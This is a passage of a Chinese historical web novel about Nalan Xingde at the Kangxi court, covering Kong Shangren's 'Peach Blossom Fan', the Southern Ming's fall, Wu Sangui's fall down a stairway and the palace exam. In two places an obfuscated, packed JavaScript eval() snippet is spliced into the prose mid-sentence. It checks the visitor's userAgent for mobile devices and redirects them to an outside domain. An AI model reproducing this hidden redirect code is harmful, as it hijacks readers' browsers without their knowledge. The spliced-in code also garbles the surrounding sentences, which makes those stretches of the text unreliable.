这不改不知道,除了宛若二人圈点出来的地方外,字里行间竟然还有孔尚任“自招”了的玩味支笔。 纳兰脾气好,只一笑而过,道:“孔兄笔墨,高深莫测,戏剧冲突,比之更甚。” 孔尚任垂首道:“我这不是被吓唬了吗?《桃花扇》的第一卷在‘花鸟风月楼’预演没关系,毕竟观众都是来自天南地北的百姓。可是公子你真把我带去皇宫,我不能因为自己的剧本被康熙皇帝推敲出了端倪来,而枉费了公子的好心啊!” “我想先跟孔兄说清楚,《桃花扇》能够被皇上圣阅已经是莫大荣幸,面圣后,孔兄不可自鸣得意,说出在皇宫开戏的痴心话来。” “公子提醒的是,文人总是外在清高、内在狂傲,我不是没有想过请求皇恩来让自己扬名天下,但是人……”孔尚任深吸一口气,缓缓吐出,“不可多求,不可多求啊!” “孔兄放得下那一份愿景就好!”纳兰鼓励道,“待到《桃花扇》四卷既成,机会自来,不必急于一时。” 梁九功过来,“纳兰公子,借一步说话。” 纳兰便跟着梁公公来到柱子后面,问他什么事? “惠妃娘娘心细,一面帮着皇后娘娘协理六宫,一面惦记着纳兰家。娘娘叫身边的宫女远黛捎来了一块顶好的鸳墨,说是当作给公子的婚贺之礼。” 纳兰将鸳墨收下,微笑道:“有劳梁公公传讯,就说容若惜取此物,编撰《通志堂经解》时,一定会用上。” “是。奴才会找准契机去叫远黛姑娘向惠妃娘娘传达公子的意思。” “我还有一句话,要劳梁公公一并带过去。” “公子请讲,奴才保证一字不差地记着。” “你就说:容若除夕会在宫中陪伴皇上写‘岁末把笔’,心里惦记着惠儿,仿佛已经相见。家中一切安好,惠儿不必担心,一定一定在后宫周全保全自己。” “是。” 门口传来司礼太监的一声喊:“皇上驾到——” 纳兰、孔尚任、梁九功各自就位,恭迎下朝后的康熙皇帝。 纳兰再一看,阿玛明珠果然跟着来了。 父子俩的眼神一交汇,纳兰就猜到:阿玛定是受了索额图的针对之言或是皇上的警告之语。 “草民孔尚任,先贤孔子第六十四代孙,山东曲阜人士,叩见吾皇万岁万岁万万岁。” “纳兰说你擅长写剧本。”康熙皇帝往御桌后一坐,“自称大作的《桃花扇》已经完成第一卷。” “草民惶恐,拙作《桃花扇》只是将心中故事提笔写就,算不得是剧本名流。草民之所以写这部剧,乃是在歌颂忠贞的爱情与痛批南明王朝的昏庸与腐败……” 明珠心里对孔尚任冷漠一讽: 当年你来我明府请见我儿容若的时候,不是嚷嚷着自己要干大事和成大作吗?如今怎么见了天子,就规规矩矩? 明珠又一瞧容若,用眼神询问:孔尚任面君的这套话术,全是你教的? 容若摇头,那意思是:儿只是引荐人才给皇上,没做多余之事。 * 叫顾总管从孔尚任手中接过《桃花扇》剧本,仔细地翻看了半晌之后,康熙皇帝对里面的内容与内涵早已心里有数。 “你这个‘弘光政权’隐射的不错,朕看过之后,已经下定决心——派兵剿灭偏安一隅的南明伪朝,不留那边官僚投降与效忠我大清之机。” “皇上圣明。”孔尚任附和,“草民不敢对皇上有所隐瞒,族兄孔尚则乃是依附在南明伪朝之下的官员,臣对其多次劝谏,就是不为其所纳。如今族兄自食其果,随伪朝而亡,皆是命数!” “纳兰,你说孔尚任这番话,”康熙皇帝目光深邃,“是大义灭亲,忠于我大清?还是怕受牵连,主动求生?” “皇上,孔尚任写这部剧,本就已经小心翼翼,怕行文差错触怒君心、人心和天下悠悠之口,他一点都不省心,你要是还叫他谨慎分辨‘忠君’还是‘亲孝’的话,臣怕自己也没法替他作答。” “所以说朕看得出来,孔尚任已经把拿给朕看的这些东西,改到没法再改的地步了。朕倒是不希望他那颗本应天马行空来构造独特世界的心,演变成了任由局势和人情来摆布的地步。” “那就是臣说错话了,请皇上不怪。” “纳兰你没说错什么,而是孔尚任说出了真心话。” 康熙皇帝对着陪臣旁侧的人一指: “孔尚任,儒家有儒家的那一套行事和做学问的准则,朕有朕对朝代兴亡和物是人非的判断,你有责任完成自己的理想,朕也有责任挑起自己的万丈雄心。朕当面就给你一个答案:你,是朕的臣民;孔尚则,投靠伪朝罪不容诛。” “皇上的意思,草民明白了。” 孔尚任跪地,抬头仰视圣颜。 “既然你明白,又跟纳兰有所交集,朕就当作你从心底里知晓什么叫做:满汉一家。你的剧本从第二卷开始,也要照着朕所推行的策略去写,不许写不可言之情,不许藏不可有之心,听清楚没有?” “草民谢皇上点醒,如今心境清澈开朗。” “孔尚任,今日你既然已经把《桃花扇》的第一卷真迹献给了朕,朕也不会让你空手而归。”康熙皇帝大度,“说吧,你要朕赏你什么?” “草民——”孔尚任欲言又止,终于拿出勇气,“想要纳兰公子自制的九节扇骨折扇。” 康熙皇帝脸色有变,纳兰本人也是眉头微锁,事态在意料之外。 反而是明珠,挂着个严肃的表情,冷看自己的儿子,心想: 容若啊,当初你得来九节扇骨的时候,阿玛没有问你经过,如今怕是扇骨的真正主人在什么时候说漏了嘴,才让民间之人都知道:扇骨是被你得了去、且制成好物送给了皇上吧? 康熙皇帝问:“顾总管,那把扇子不是你收着吗?怎么连外人都知道了?” 顾问行惊慌失措,“奴才不晓得啊万岁爷。” 康熙皇帝转向自己的臣子:“纳兰,你自己说。” 纳兰心中思忖:自己铁定是不能把沈宛给出卖了。【注3】 再把所有可能串起来的线索一理,纳兰得出了结论: 沈宛应是把自己私拿了扇骨的事情向师傅表白了,她的师傅也许在某个契机告诉了张岱先生,张岱先生醉后或是不经意之间,又把这个消息扩散到了文人圈子里。就这么一传十,十传百,全天下都知道了。 “回皇上,这把扇骨是古董商周之捷周老板所赠。周老板朋友多话也多,就把臣为皇上制扇的事情说出去了。”纳兰马上补充,“但是这是好事,君明臣贤,大清之幸。” 康熙皇帝笑了笑,“朕要是把扇子赏给了孔尚任,你拿什么回报朕?” 纳兰认真道:“臣为皇上写赋,写好之后,由皇上来赐名。” “这可是你说的。” “是,臣答应皇上。” “你的赋,朕要;但是你的扇,朕不能给别人。” “是,臣明白了,回家以后,会自寻了与己相关的东西来代表皇上相赠孔尚任。” “纳兰性德,不许你猜中朕的心思!” 为了不让纳兰公子被康熙皇帝为难,孔尚任立刻道:“草民谢皇上天恩,谢纳兰公子成全。” “你记着,今日朕对你的剧作,持的是肯定态度。你不可自满,将朕的本意错认为是赞赏。剩下几卷,朕等你年复一年写完再看。” “草民遵旨。” “顾总管,你带孔尚任下去吧!”康熙皇帝一挥手,“明珠,你们父子也可以退下了。” * 走出书房。 容若只觉得空气清新了许多,整个人的精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345613|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神也清醒了许多。 风送冷意,雪带寒意,交织却是成了真真切切的冬感,无需一颗心去温,也淡然若素。 明珠走在半路上,避人耳目道:“你引荐人才孔尚任得皇上的赞许,阿玛举荐人才靳辅在治水之任上干出了成绩,却受了索额图的反唇和遭了皇上的训诫之语。” 容若平静道:“索额图有索额图的居心,皇上有皇上的难处,如是而已。” “索额图对我明珠发了难,后面要是人追着来,那我明珠还如何做事?” “阿玛,您的官场行径黑白皆有,儿没法干涉或是把您劝回头,毕竟到了高位,没人能够清清白白。” 容若忍了忍,到底还是决定往下说: “儿在曹寅家里看过一个账本,上面隐约有对阿玛您不利的——江南官员为您进纳财富的往来痕迹。为了您好,儿趁着跟曹寅之间的交情,已经在潜移默化之中为您善后了。” 明珠大为感动,紧握爱子微冷的双手。 “容若,你真不愧是阿玛的好参谋、好儿子,多亏有你为阿玛事事留神。” * 在下一场早朝到来之日,康熙皇帝铿锵有力地宣布了“剿灭南明伪朝”的决意。 文武百官皆支持皇上的做法,有托台和张富泰两位大将主动请战,康熙皇帝当即授予二人帅印,并调拨三万精兵来供二人指挥。 明珠和索额图一致应康熙皇帝旨意,为两位大将壮行。 壮行当日,天色稍嫌灰暗,云低雪飘,但清军却士气高涨,不管是骑兵、步兵还后勤兵,都抱着必死的决心勇往直前,誓为皇上平定南明伪朝的最后势力。 在嘹亮的号角声和击鼓声中,托台和张富泰两位大将身披御赐铠甲,各自说完一番雄心壮志之后,就昂首挺胸地率领大军浩浩荡荡南下。 明珠和索额图一直目送大军远离,皆是心中澎湃万千,为大将军的威仪和兵士们的勇气所折服。 正要到养心殿去给康熙皇帝复命,索额图忽然听见一个传使来报: “索大人,二等侍卫格尔芬已获皇上恩准,跟随大军前往战场去为国效力了!” 索额图大惊。 自己作为父亲,对此竟然一无所知。 “索大人,我疼惜容若,是半点家外和紫禁城外的尘埃都不敢叫他沾染。你倒是为了一己官路,把儿子往充满硝烟的战场上送了?本官真是佩服,佩服至极啊!” 见明珠一副幸灾乐祸的模样,索额图心中恨的如同点了炸药包。 格尔芬从军之事,索额图是从头到尾都没有听他提起过,也不知道这个逆子是吃了哪般的熊心豹子胆,竟然连命都不要了,敢到前线去“杀敌”。 “索大人还是赶紧回府去吧!到祠堂当中,多烧几炷高香来跪请列祖列宗保佑二公子平安无事,赫舍里皇后龙胎安泰。给皇上回话的事,就交给我明珠去办得了。” 索额图一脸乌云,浓甚天际。 他一把从传使手中牵过马,一个利索的动作蹬了上去,没跟明珠多说一句话,就匆匆往前追去。 明珠在后面朝自己的政敌挥手,不忘再多挖苦一句: “索大人你悠着点,这一路追赶,追回儿子还是回家祈福,差别可就大了!” * 两个月后,或者说新年过完、殿试时间将近、太皇太后圣寿将至的时候,有捷报自南北上,传到了康熙皇帝手中。 玄烨看过后大喜。 “托台和张富泰两位将军战略部署有方,众兵士浴血奋战,已经彻底平复了南明伪朝。伪朝皇帝在逃亡途中,被我清军勇士所一箭射杀,已经取下首级,其余同逃的皇室宗贵、嫔妃,也纷纷自尽!“ “孔尚任族兄孔尚则,在我清军围城之际,无法扭转局势,又见伪朝皇帝怯懦无能地从暗道逃跑,气得自刎而亡。另有一些大臣,欲降我大清,但托台和张富泰两位将军谨遵朕的命令:后患不可留!已经将那些大臣毒杀于城内。” 纳兰恭贺道:“皇上去除心头一患,是大好事!” “你叫孔尚任献剧本给朕看,多少也有暗示朕剿灭南明伪朝之意。朕知道孔尚任心里还是想写‘弘光政权’来影射南明伪朝,不会多做追究,前提是他排剧不要不合时宜,台词不要过激。” “臣不爱看剧本也不爱观剧,还不如继续翻古本典籍。” “你还记得吗?你给朕的‘觉盏馆’出过设计工事图,给朕的‘天下地形图’做过战略布局,你手上还兼着大清国旗的设计大任,等你把国旗样图拿给朕之后,朕就要亲自画决战台岛的航海图出来,与你珠联璧合!” “臣有个建议,不知道皇上肯不肯采纳?” “你说——” “臣明天就把国旗样图交给皇上,等到托台和张富泰两位将军班师回朝,以展旗相迎如何?“ “准奏!“玄烨高兴,”两位将军战功彪炳,理应有此场面铺陈。“ “皇上是一国之君,应在一国之旗下面摆驾对凯旋之师相接,这样才能让众将士感受到天子对此次大捷的重视,有利于皇上树立君威。“ “好!“玄烨站了起来,”纳兰,那一日,你要站在朕身边!“ “是。“ 【注1】康熙皇帝在柱子上刻字发愿,见第21章。 【注2】三方大赏:指康熙朝“举荐者、被举荐者、链条上的关系者”这三者。此风气始于权臣明珠,后期发展到吏治腐败,把大清能卖的官都卖完了。 【注3】跟九节扇骨相关的章节,见第32章《宛携扇骨入明府,公子通宵细制扇》 120.第120章 平复南明伪朝的清军回朝当日。 新制成的大清国庆在城楼上迎风飘扬,康熙皇帝率领重要的大臣和侧臣纳兰早早登楼,迎接浩浩荡荡的军伍。 康熙皇帝对两位将军和众兵卒一番赏赐和勉励过后,有兵部尚书代为宣读圣意: “……主将勇猛,兵卒无畏,合力平复南明伪朝,是为大清安邦定国之壮举。朕念众将士功劳,赏罚有度,还盼尔等不骄纵战绩,再为大清出力。今江山安定,朕唯憾三藩未彻底平息,定于今年三月份之后,再行战策……” 众将士谢了皇恩,便由礼部要员领路,前往宫阙,共赴皇帝赐宴。 索额图全程没有把康熙皇帝的模样看在眼里,也没有认真听帝王与将士之间的交谈,只是仔仔细细地眯眼搜寻次子的格尔芬的身影。 正当他楞是没找到、心急如焚之时,明珠在他耳边道:“索大人担心什么呢?索二公子要是为国捐躯了,丧报早传来了,府上还会凭风浪静吗?” 索额图指着国旗,冷唾道:“我儿格尔芬吉人自有天相,没有随大军瞻仰你儿子设计的国旗,就是件维护了我赫舍里一族面子和八旗亲贵尊严的大好事!” “这国旗可是皇上亲手升起的。”明珠带着些得意,“这些大不敬之言,索额图你还真敢说出口。” “贵公子喝不了酒,没必要站在皇上身边当个摆设品给武将们看。明珠,你们打道回府去吧!”索额图死要面子,“这个宴席的场子,本官会做陪皇上!” “那可真是求之不得啊!”明珠出乎意料地做了妥协,“容若,我们回家。” “是,阿玛。” * 容若到家时,张纯修已经在渌水亭等候。 得了明珠的准之后,容若就去了亭子间见好友。 “今天我收集来的情报可真是了不得!”张纯修凑近,“有线人称:那个于成龙吃了豹子胆,独自率领一百农民军闯入吴三桂栖身的城楼下,摇旗呐喊:国旗有龙,我于成龙精忠报国,与三藩势不两立……” “结果呢?”容若觉得可笑,“旗帜上面真龙天子的龙,和于成龙牵强附会的自己名字的龙,谁赢了?” “吴三桂那边高举免战大旗,于成龙和那些农民军蹲守了三日三夜无果之后,就自行折返了。” “这就奇了,”容若淡着绿茶,“康熙皇帝还在不不增强和扩大编伍,就是怕吴三桂在老家养精蓄锐,军事力量不可估摸。怎么照着你的情报,吴三桂拿百人农民军都没辙了吗?” 张纯修推测:“也许吴三桂不是没辙,而是没把小打小闹的于成龙放在眼里吧?” “吴三桂心高气傲,脾气暴躁,不可能忍得了于成龙造次。”容若分析,“一定是他内部出了问题,自身又力不从心,才会对农民军不战。” “那就是好机会呀!”张纯修一拍手,“清军现在就应南下,一举擒拿和诛杀吴三桂。” “皇上忌讳远途征战,万里征程,顶多到江西为止,否则将士疲劳、粮草线难保,对清军是大大的不利。” “也就是说,”张纯修问,“吴三桂不主动出击和过战线,康熙皇帝就这么跟他耗着吗?” “也不能说耗着,只是在等待一个更好的军事策略。”容若一夸岳乐,“但是我不得不在你面前夸安亲王,他有远见、有韬略,这回降服吴三桂,还是离不开他出马。” “哦对了,那个神乎其神道士施道渊呢?”张纯修忽然想起,“可有利用玄学为大清尽忠?” “我许久未闻他的音讯,不知他是云游四方还是潜心道观,亦或是闭关修炼。” “上次施道渊不是预测准了状元郎吗?”张纯修笑问,“我还想什么时候能见到他,向他问问纳兰你的殿试结果。你许不许我问?” “当然。”容若一笑而过。 也当真是巧。 管家金叔前来:“公子,施道渊施道人前来请见。请公子意思,见还是不见?现在见还是过后见?” 容若与张纯修相视一笑,然后道:“见,请施道人到渌水亭来。” “本道请纳兰公子安好,请张楼主安好。” 见施道渊仙风道骨,神色清朗,容若高兴问:“道人前来,可是有喜讯相告?” “一悲一喜,公子想听哪一个?” “两个都听,先说喜,再说悲。” “三桂必败,清军必胜,国泰民安,这是喜;君侧不离,经年累月,伤及身心,这是悲。” “君喜臣悲。”容若简要概括,“如此我便是心里有数,多谢道人。” 张纯修开口:“道人以为,容若接下来的殿试成绩如何?” 施道渊一脸清肃,“此番天机,本道不可言破。” 叫管家礼送施道人离开后。 容若走出渌水亭回廊外,站在飘着小雪的天空下稍稍仰着头。 “我觉得殿试,一切顺其自然就好。”容若心境澄澈,“我跟在皇上身边十四年,从六岁到如今二十岁,没有什么结果是不能慢慢消受的。” “就算之后觉得疲倦,那也是我的命。张兄,我并非把自己置于对皇上而言最重要的位置,但是也会自问:日后皇上身边没有纳兰了,他该相信谁好?还有谁愿意像我一样掏心掏肺地对待他?” “君主孤独不可怕。”张纯修细声提醒,“可怕的是失去后才懂得怀念。” “怀念吗?”容若声线缓轻而小伤,“不是珍惜?” “除了皇位之外,世界上哪里还有值得皇帝珍惜的东西?”张纯修反问,“不是追忆,能有所念,已是不错。” 送好友离府。 独自一人坐在渌水亭栏轩上的时候,容若用唇中的温热气息轻轻吹化了掌心的雪花。 ——终究是留不住。 他轻叹了一声。 雪如此,君侧之臣亦然。 * 索额图回到府上时,竟然看见格尔芬跟一等公朴尔普的女儿官云辞在一起,就这么看似“男女交情”极好地相互说这话。 他上前,装模作样地了清了清嗓子。 就等着他俩解释在干什么。 格尔芬带着些得意,也带着些庆幸,道:“儿从战场凯旋而归,云辞格格前来夸赞。” “索大人不要误会。”云辞道,“我认为,身为满族男儿,就该顶天立地、为国效力!我从听到索二公子瞒父上战场的消息之日起,就对他刮目相看,且盼着他平安归来。” “多亏了格格诚心,犬子才能无事而返。”索额图挤出一个笑容,“本官教子,子却叛逆,你说是好是坏?” “索大人应该庆幸,两位公子都心怀大义和报国之志,而不是像你这般深陷于玩弄心术和权术而不出。否则——”云辞一指索府的牌匾,“这赫舍里一族的门面在将来,还不知道能被谁挑的起来呢。” 索额图刚想说:“那自然是皇后娘娘腹中的皇太子!” 又立马将话吞了回去,免得传到康熙皇帝耳中,成了:不臣之心。 “云辞说话向来心直口快,还请索大人你左耳进右耳出,勿要计较。” 索额图摆了摆手,“八旗格格全都一门子心思想成为亲王贝勒的福晋或者达官显贵的儿媳,哪有像云辞格格你这般清醒的女子?你那些话,本官当铭记在心,时刻提醒自己才对。” 格尔芬爽朗地发出邀请:“格格要是不介意,就来我家吃个饭,菜式都按照格格喜欢的来。” “好!”云辞一下子答应,“我近来爱吃江南名菜:梅干菜扣肉。” “就吃那个——”格尔芬请云辞往家里走,“我马上叫人到厨房去吩咐。” 索额图就这么被两个年轻人晾在原地。 看着儿子和云辞的背影,他不禁想: 如今格尔芬是越发不把我这个阿玛放在眼里了!战场想去就去,情场想入就入,有这心志,怎么不往官场去历练历练呢? 等到纳兰性德补完殿试,功名和官职下来,指不定明珠会怎么炫耀呢,哼! * 却说—— 吴三桂在城楼之中,亲眼看见那面“综合满洲八旗、兼具满汉一家和大清定鼎中原之志”的新国旗时,吓的双腿一软,直接就跌坐在了瞭望台的冷砖地上。 有军卫把吴三桂扶了起来,问:“皇上,您这是怎么了?” 已经定国号为大周,年号为昭武的吴三桂,竟然没有底气称“朕”,只是面带颓恐之色,许久,才开了口: “有人见清军而惊,有人见农民军而怒,更有人因为南明伪朝覆灭而惧,唯独是我,因为那面国旗而挫了锐气、失了神志。” 军卫问:“皇上何出此言?” 吴三桂背着手,走在湿滑的楼阶上,道: “我曾两次于清军大战,第一次眼看就要趁剩北上直取皇宫,却闹出了南疆王逼宫和南明余党刺杀康熙皇帝之事,以至于我的计划大乱,终究是未能得偿所愿。等到第二次,安亲王岳乐和裕亲王福全率兵与我方在江西交锋,使得我军节节败退,连我也被气得折返旧址,心中之怒气至今不得出,胸中的愤慨久久难消平,实在是可恨!可恨啊!” 军卫兵不敢多言,只道:“作战讲究的是天时地利人和,我方明显是不受天眷、不得地利、人心涣散,战败撤退也在情理之中。皇上能够保住性命,留在大周城内秣马厉兵,东山再起,已属不易。” “你不懂。”吴三桂连连摇头,“那可不仅仅是一面国旗啊!那象征着大清已经有了主权意识和自尊心,容不下我们这些反复无常的藩王,也不允许逆反势力的存在。我如今也只是吊着一口气,能撑多久算多久罢了!” “皇上千万不要这么说。”军卫忠心道,“我军与清军在南北各一方,只要不打持久战和拉锯战,总有重整旗鼓的可能。” “只怕是不能了。” 吴三桂仰天,有眼泪从他的眼角滑出,他从未在人前有过这副模样,唯独是今天,深深体会到了什么叫做:力不从心和无力回天。 “我是没有力气,老了倦了也累了……” 吴三桂的声线带着沧桑,微胖的身躯随着情绪而颤抖,仿佛只把悲观装在胸中。他抽泣了起来,喉咙中的呜咽,从低低沉沉的啜泣、渐渐演变成了黑云压城时的闷雷,一声又一声,只差横琴断弦,才能曳然而止。 军卫本想好生劝说几句,怎能料到—— 吴三桂才往前走了几步路,就栽了个大跟头,从未下完的阶梯上滚了下去! 那场景,就好似一个穿着黄袍的巨大雪球一般,无方向、无目的、无预见性地极速滚动,伴随着刺耳的摩擦声和求救声,叫听见的人发慌,也叫天地为之所惑。 真是: 人逢霉运事不顺,业火无名上心头。 乾坤方圆事难料,何日谁再弄吴钩? 命数实非天注定,时局翻弄自添愁。 万里灰穹无雁过,今岁长恨阶梯楼。 “不好!” 军卫大惊。 三步并作两步往前赶,等到他奔跑到事发地的一出废料边,一面喊人来救,一面试图扶起吴三桂的时候,竟然发现: 眼前的大周始皇帝已经是头破血流,不省人事了! 吴三桂性命垂危,大周朝风雨飘摇。 要是消息传到了康熙皇帝耳中,那还了得? 大周国将不国,迟早重蹈南明伪朝覆辙,怕是有过之而无不及啊! 三桂王将不王,终究罪名多于美名,无法得到历史公正评价。 “唉!”军卫长叹。 后人论起吴三桂,岂非要往他身上贴上两条“笑柄”的标签? ——受惊吓于大清国旗,是为“旗倒周王”。 ——失足跌落于熟悉地,是为“急转直下”。 * 养心殿内。 总管大太监顾问行拿着捷报进来,朗声道:“启禀万岁爷,前方传来消息,已经探明吴三桂摔伤且大病,怕是熬不过这三春了!” 见皇上无动于衷,顾总管又补充了一句:“我大清国旗皇威赫赫,迎风招展,吓倒了吴三桂,后续万岁爷您的收复台岛之战,必定也是顺风顺水,无往不利。” 玄烨冷静道:“吴三桂向来狡诈,演技所致,不可轻信。” “奴才听传信使者说,吴三桂遍体鳞伤,奄奄一息……”顾总管不解,“他怎么会为了骗万岁爷,连命都可以半死到这种地步? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14354187|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 玄烨问纳兰:“你怎么看?” 纳兰道:“臣听闻,吴三桂对于成龙率领的不成气候的百人农民军都高举免战牌,实在是蹊跷。国旗如果真有那么大威力,那臣想不应该是吓倒吴三桂,而应该是为其所憎恶或一箭射毁才对。” “朕怕吴三桂效仿孔明,接下来上演空城计。” “皇上,要想平三藩之首吴三桂,不得不有所牺牲。”纳兰出对策,“可下令两广总督率兵前去攻打大周都城,待朝廷收到将士的伤亡和战度报告之后,再推敲吴三桂是否苦肉计与空城计并演。” “并非朕不看好两广总督的才能,但是自卢兴祖战死后,轮换过多少任了?朕从未见历任两广总督有何建树。” 纳兰神色坚定:“谋定而后动,转机自来。” 纳兰随玄烨往里走,来到玄烨自画的战略地形图面前。 “臣以为,应当做两手准备。” “你详细说——” “第一,以骗制骗,如果吴三桂的苦肉计是装出来的,只为引我军攻城送死,那我军也可假作无谋,从广州进发,佯装得到皇上命令,不辨险情死战周军。第二,发兵而不战,与周军形成城内外的对峙,周城之内,必有想对吴三桂之位取而代之者,届时吴三桂既要提防城内的心怀不轨之人,又要应对随时可能攻入的岭南大军,左右难全,一切‘自伤’和‘命危’是否自导自演,不攻自破。” “无疑是后者好。”玄烨道,指着地图,“吴三桂刁钻老辣,为了瓮中捉鳖甘愿使计使诈,朕不会上当。” “臣问起爱妻卢氏岭南的风土人情时,曾听她说:‘阿玛训练岭南军队时,最是担心军中疾病,岭南冬季不落雪,但是阴湿寒冷,需要大量药膳汤补给。’所以臣请皇上出动太医院之力,向岭南调拨——适合军帐军旅之中熬煮的滋补药膳和防止蚊虫叮咬的膏药。” 玄烨故意错离重点:“你叫卢氏什么?爱妻?” 纳兰一本正经:“皇上可以当作‘正妻’来听,但额娘教导,在人前该用‘爱妻’的称谓。” “罢了,朕不为难你。”说罢,玄烨叫了御前侍卫入内,“传太医院长官午后来见。” “纳兰,是你让朕对岭南军有了期待。那种期待感特别微妙,好似他们这场仗,胜负生死都不重要、只起到了为朕探明吴三桂的用意一般。” 玄烨并拢双指,从广州一直滑到吴三桂的封王根据地,道:“但是朕有预感,岭南军不会辜负朕的期待!” “皇上,吴三桂其实已存对清军的五分畏惧之心,我方只要对周军探清虚实,自可得‘引蛇出洞’得妙计。” “快说——” “皇上你看这儿。” 纳兰指向地图上的湖南和江西。 “后院起火,贼寇必起,等到岭南军的这次军事任务执行完毕,下一步朝廷要他们做的,自然就是端了吴三桂的安身立命之地。吴三桂的根据地没有了,唯有行进至湖南或江西来汇聚耿、尚双方势力。” “届时,我清军必定是兵分三路:安亲王岳乐为主帅,总指挥一切战略与行动;裕亲王福全为副帅,想方设法断绝各路叛军与吴三桂汇合;另精挑出能担负大任的将军出来,做好吴三桂悄设小众人马另辟蹊径北上的沿途拦截准备。战役必定能够胜券在握。” “耿精忠反复无常,尚之信暴戾狠绝,上一战,朕只恨——” “臣知道皇上只恨未将他俩一网打尽。这一仗只要吴三桂一倒,他俩必定先后覆灭,皇上不必忧虑在心。” “好!朕信你。” * 夜间,坤宁宫。 玉炉轻烟香,锦帐待春宵。安置时分。 玄烨与赫舍里皇后一同,准备相互说说话过后再就寝。 “皇后,近来腹中胎儿可是安好?后宫可有起风波?” 长榻之上,玄烨神色温和,半搂赫舍里在怀中,用手轻抚她的腹部。 “臣妾的饮食有御膳房调理、胎相有太医照管、日常有嬷嬷照顾,一切安好。后宫事务交由惠妃协理,惠妃妹妹尽心尽力,六宫嫔妃相处甚好,无败坏宫规或是违背祖制之事发生。” “那就好。”玄烨关切道,“如今你怀着朕的嫡子,走动一定要慎之又慎,不可动气或劳累;后宫琐事,不可勉强自己,知道吗?” “是。”赫舍里温婉道,“臣妾一定听皇上的话,顺顺利利诞下皇子,为大清万年基业尽自己的责任。” 玄烨将脑袋靠近赫舍里的腹部,静静聆听和感受当中的声响与动静。 他的心里:一方面是盼着战事顺利,另一方面是盼着皇后养胎无忧。 做个既能够执掌好国事、又能够兼顾家事的皇上,是他给太皇太后小庄的承诺,也是他给爱新觉罗列祖列宗和天下百姓的交代。 玄烨慢慢弯起嘴角,露出了微笑。 “果不其然是个小阿哥,朕感受出来了!将来,朕盼着他能够成为众皇子的表率,为皇阿玛和皇额娘尽孝,为万卷山河尽心。” 赫舍里看着自己的夫君的侧脸,温声道:“皇上尽把臣妾腹中的孩子往好的方面去想了。” “即使他不好,朕也能把他教好。”玄烨坐了起来,“纳兰是朕身边的完人,朕从小就这么见证着纳兰长大,像一块珠玉似的越磨越趋近于无暇无缺。可是朕——” 玄烨忽然紧握赫舍里的手,颤声道: “可是朕害怕啊!怕明珠父子把持朝纲,怕惠妃的皇长子也如纳兰一般日渐成长为一个无挑之人……” “皇上,臣妾以前不知道您为何爱在臣妾面前多提公子,现在明白了,公子有公子的好,皇上有皇上的对公子的把握和分寸。所以在以后,不管皇上如何对待公子、或是给公子一个什么样的人生结局,臣妾都相信和理解皇上的苦衷。” “皇后深懂朕的心思,朕甚悦。” 玄烨嘴上这么平和地说着,心里却是暗流涌动。 他走下榻,站在高高的烛台明灯面前,凝神不动,琢磨起跟纳兰相关的殿试的事情来,希望手中能够有一对占卜用的龟壳。 这样就能问问老天爷: “纳兰想要进的翰林院,朕该不该顺遂他的心愿?” 121.第121章 且不说南方的战事,补殿试前一晚,容若细看了惠儿所送的鸳墨许久。 曜黑色的鸳墨,纯净如瞳孔,映在清澈的月色底下,别有一番韵味和滋味。 容若懂惠儿的心意,她希望他实现翰林梦。 如此,就能在用武之地里:醉心诗词歌赋、舞文弄墨和挥斥方遒。 细细想来: 从上次错失殿试至今的三年里,自己完成了《渌水亭杂识》的写作,精校版本已经印刻完毕且上呈康熙皇帝。编撰了三分之一的《通志堂经解》,工程浩大,耗资亦多,需要的人力更多,何日能够墨成千秋?还是个未知数。 感情上面,自己与正夫人卢氏表面融洽、内心却仍旧处在磨合期,彼此都心知肚明,愿意抽丝剥茧、循序渐进地为成为一对真爱夫妻而奔赴。与侧夫人袖云和好恩爱,日常生活和闲情逸致多有可陪伴和可相谈者。与想纳的侍妾沈宛,还是保持着私下会面、融情共处的关系,却格外快乐和珍惜,谁也未辜负过谁。 ——如此就能心无旁骛。 容若这般暗示自己。 这一夜,他是独自一人睡下的。 梦中有佳境,境中得诗意,心旷神怡,他清睡至天明。 * 殿试当日,容若跟其他考生一同来到与试之所。 随着司礼大太监打响五声鞭鸣,銮仪卫齐奏鼓乐之后,考生们便按照领到的号码牌顺序,分单号与双号各座两侧,等待康熙皇帝驾临。 康熙皇帝升座完毕,有总管大太监顾问行代为宣读皇上亲写的寄望之词,内容皆是对人材的期盼与对这届考生的勉励。 随后,有大学士进入殿内,从特设桌案的密封匣子中取出考题,交由康熙皇帝圣阅无误之后,便传到了礼部尚书手中。 礼部尚书双手捧着考题,于众考生之前放在丹陛黄案上,司礼大太监高喊:“各考官、各贡士向大清天子行礼。” 众人照做,礼毕,各自就坐之后,礼部开始散发考题。 容若领到了一份对自己而言没有任何难度的千字文,考题要求考生们写两千字左右的策论。 他对着桌子上的茶饼和笔墨纸砚一笑,在试卷的前半页写下了自己的名字、籍贯和年龄。 开始之锣鸣响,他像每一位考生一样,在答卷的开头和末尾分别写下“格式之语”—— 开头用:“臣对臣闻。” 结尾用:“臣末学新进,罔识忌讳,干冒宸严,不胜战栗陨越之至。臣谨对。” 【注1】 胸有成竹,所以下笔有神。 墨水满肚,所以行云流水。 容若发挥的很是顺利,不出意外,自己的才思敏捷程度和作答速度,应是远在其他考生之上。 